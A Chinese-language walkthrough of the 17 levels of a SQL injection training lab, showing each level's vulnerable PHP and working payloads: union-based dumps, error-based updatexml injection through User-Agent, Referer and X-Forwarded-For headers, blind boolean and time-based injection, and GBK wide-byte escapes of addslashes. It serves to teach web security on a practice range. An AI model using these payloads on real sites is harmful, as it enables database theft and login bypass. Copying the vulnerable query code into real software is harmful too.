[封神台]Sql-Labs wp – 作者:G孤桜懶契Y

前言

掌控安全里面的靶场Sql-Labs,练练手!

环境:http://inject2.lab.aqlab.cn:81/

pass-01

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

显错注入、先判断多少个字段

image-20210725131955354

image-20210725132104676

查表拓展: 1 and exists(select * from user)这种形式可以猜解表是否存在

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

image-20210725132232796

查flag表中字段

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from f.columns where table_schema=database() and table_name=0x6572726f725f666c6167; 
//0x6572726f725f666c6167是error_flag的十六进制

image-20210725132608204

拿flag //后面就不截图了

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;

image-20210725132743133

pass-02

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

给id传参加了个单引号,和上题一样的做法差不多,就是1后面加个’来闭合源代码中的单引号,再加个#号url编码也就是%23注释掉后面的单引号,也就可以联合查询了

http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1' union all select 1,2,flag from error_flag %23;

image-20210725133156333

pass-03

sername = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

上题id是’id’这题是加了个括号(‘id’),不过意思不变,同样是进行构造’)在1后面然后利用注释符#来绕过也就是%23

http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1') union all select 1,2,flag from error_flag %23;

image-20210725134152613

pass-04

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

单引号变双引号

http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;

image-20210725134258334

pass-05

$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录Your Login name:'.$uname.'Your Password:'.$passwd.'';}
else{echo '账号密码错误';}

先用万能密码登陆,获取账号和密码,然后再post注入,利用联合查询生成其他的账号和密码使回显成功,最后用limit 1,1 显示第二行也就是我们联合查询加入进去的账号和密码,然后再注入和上面四题没区别

万能密码登陆

image-20210725141449607

用Hackbard的post注入,找到回显点

username=admin&password=as4dsa2dsad2a3'  union all select 1,2,3 limit 1,1#

image-20210725141606362

username=admin&password=as4dsa2dsad2a3'  union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1#

image-20210725141943040

字段

username=admin&password=as4dsa2dsad2a3'  union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1#

image-20210725142047502

拿flag

username=admin&password=as4dsa2dsad2a3'  union all select 1,2,flag from flag limit 1,1#

image-20210725142133255

pass-06

$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =("'.$username.'") and password=("'.$password.'")';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录Your Login name:'.$uname.'Your Password:'.$passwd.'';}
else{echo '账号密码错误';}

双引号后面加个括号

username=admin&password=as4dsa2dsad2a3")  union all select 1,2,flag from flag limit 1,1#

image-20210725142450880

pass-07

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

过滤了单引号,万能密码登陆没用了,看到user_agent的head头中被安插在插入语句中,可以直接sqlmap跑*加包,或者第二种方法用burp跑出密码登陆,再UA中填updatexml来报错直接页面上显示uA中语句错误,第一种方法无脑,就不做了

账号和密码是admin和123456,看源码得知,必须登陆才能执行user-agent下面的语句,$row必须不为空,所以想要报错注入,就必须能登陆成功

登陆成功抓个包

image-20210725150453588

拼接一个完整的insert 并且在其中写一个updatexml报错注入

'or updatexml(1,concat(0x7e,user()),1),1)#

image-20210725152021021

取表

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)#

image-20210725152142821

取字段和flag

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head')),1),1)#

image-20210725152328201

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725152450350

pass-08

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

就是head头中user-agent的插入换成了refer

Referer: 'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725153252352

pass-09

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

head头中记录我们访问ip的是X-FORWARDED-FOR,因为head头中有时是不显示的,我们自己加一个

X-FORWARDED-FOR: 'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725153701899

pass-10

$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}

length函数:

length(字符串内容)

这个函数主要是用来测试字符串长度用,在盲注中是用来判断当前查询的字符串长度,例如数据库名,表名的长度。

substr函数:

SUBSTR(字符串内容,从哪截取,截取多长)

用于分割字符串,将字符串分割成单个,配合ASCII码测试单个字符到底是什么字符。

ascii函数:

ascii(填入字符)

返回字符的ascii码,将字符转变为数字,将字符都转变为数字,可利用数字大小趋向的特性进行大小比较,从而迅速判断出准确的字符内容。

先用length判断数据库名

image-20210725154941303

image-20210725154916227

再用substr从第一个字符的ascii码开始判断他为什么

image-20210725155127027

image-20210725155232219

我拿起手中的burp来跑起,12字符快

image-20210725155429654

image-20210725155447310

image-20210725155619456

image-20210725160053468

按从1到12的顺序把ascii码写下来准备解码

107 97 110 119 111 108 111 110 103 120 105 97

了解原理就好了,菜B的我还是sqlmap好用,暂时python脚本还不太会写

image-20210725161831345

pass-11

$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id="'.$id.'"';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}

原理和上题一模一样就是需要加个单引号和末尾加个注释符%23也就是#

pass-12

$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录';}
else{echo '账号密码错误';}

换了个传参方式,但是原理不变

image-20210725162937391

pass-13

$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id="'.$id.'"';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
echo '有数据';

时间盲注的判断方式也是布尔盲注的一种

image-20210725163438518

(1)、if(条件,满足条件的返回,不满足田间的返回)

(2)、sleep(X):休眠X秒

判断数据库的长度

image-20210725170042202

判断数据库的值用substr和ascii

1" and if(ascii(substr(database(),1,1))>1,sleep(1),1)%23

image-20210725170337323

抓包,然后和布尔盲注是一样的操作,理解原理就行

pass-14

$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id=(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
echo '有数据';

和上题一模一样,除了”双引号换成’)

http://inject2.lab.aqlab.cn:81/Pass-14/index.php?id=1') and if(ascii(substr(database(),1,1))>1,sleep(5),1)%23

pass-15

$username = '';
$password = '';
@$id = addslashes($_GET['id']);
@$sql = 'select *from user where id=\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

可以发现有addslashes函数导致我们输入的一些单双引号前面加了个右斜线\,由于右斜线的url编码是%5c,%df%5c会组成一个特殊汉字来进行逃逸,

因为GBK编码默认两个字符为一个汉字, 我们可以通过输入宽字符%df使反斜杠和这个%df形成一个汉字,这样后面的单引号就不会被转义而达到逃逸的效果

image-20210725171608951

输入**%df**逃逸斜线

image-20210725171818342

接着判断字段长度、等拿flag和第一题一样

http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' union all select 1,2,3%23

image-20210725171952143

pass-16

$username = '';
$password = '';
@$id = addslashes($_GET['id']);
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

和上题区别不大,就是加了“)的形式

http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df") union all select 1,2,3%23

pass-17

$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = 'select *from user where username =(\''.$username.'\') and password=(\''.$password.'\')';
mysqli_select_db($conn,'******'); //不想告诉你们库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
if($row){
echo '成功登录';}
else{echo '账号密码错误';}

这题是个盲注,但是我还是说一下,post传参由于没有url解码,所以宽字节注入得换个参数,比如“汉”这个字和右下划线组成一个汉字也是可以逃逸的。

成功逃逸

image-20210725172842136

因为是盲注所以嘿嘿,抓包,存123.txt,注意:一定要抓我们自己成功构造登陆的形式加*来让sqlmap跑,不然可能跑不出来

image-20210725173245278

sqlmap跑的形式

image-20210725173306539

image-20210725173317389

image-20210725174439030

我的个人博客

## 孤桜懶契:http://gylq.github.io

来源:freebuf.com 2021-07-27 17:42:52 by: G孤桜懶契Y

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论